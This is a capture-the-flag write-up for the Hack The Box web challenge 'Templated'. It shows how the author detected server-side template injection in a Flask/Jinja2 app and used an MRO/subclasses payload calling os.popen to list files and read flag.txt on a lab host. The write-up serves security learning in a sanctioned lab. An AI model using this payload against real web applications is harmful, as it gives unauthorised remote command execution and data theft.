Hack The Box Write-up

Web Challenges : Templated

Difficulty : Easy

Description : Can you exploit this simple mistake?

The first thing when you start the box, it will give you the host IP and port 157.245.35.236:31358

The first thing I do was to open in the web browser because this is a web challenge, and we got this page

Graphical user interface, text, application

Description automatically generated

I check up the inspect element and it was empty there is nothing or clue in there, all we got is the URL. Notice the Flask/jinja2, Jinja2 is a web template engine written up with pure python code that used in flask, that’s mean it may be we can perform SSTI (Server Site Template Injection)

We can add a parameter in the URL to indicate possible SSTI by adding {{7\*7}}

157.245.35.236:31358/{{7\*7}}

Graphical user interface, text, application, email

Description automatically generated

As you can see the result shown ‘49’, meaning it vulnerable to SSTI. There are many you can do with SSTI and one of them is MRO function to display classes. You need to make a payload and input it in the URL.

The payload :

{{"".\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_()[186].\_\_init\_\_.\_\_globals\_\_["\_\_builtins\_\_"]["\_\_import\_\_"]("os").popen("ls \*").read()}}

And so it will look like this

157.245.35.236:31358/{{"".\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_()[186].\_\_init\_\_.\_\_globals\_\_["\_\_builtins\_\_"]["\_\_import\_\_"]("os").popen("ls \*").read()}}

And we got this page

A screenshot of a computer

Description automatically generated with medium confidence

We found the flag.txt, now all we need to do just change ‘ls \*’ in the popen to ‘cat flag.txt’

The URL become like this :

Before :

157.245.35.236:31358/{{"".\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_()[186].\_\_init\_\_.\_\_globals\_\_["\_\_builtins\_\_"]["\_\_import\_\_"]("os").popen("ls \*").read()}}

After :

157.245.35.236:31358/{{"".\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_()[186].\_\_init\_\_.\_\_globals\_\_["\_\_builtins\_\_"]["\_\_import\_\_"]("os").popen("cat flag.txt").read()}}

Graphical user interface, text, application

Description automatically generated

And finally we got the flag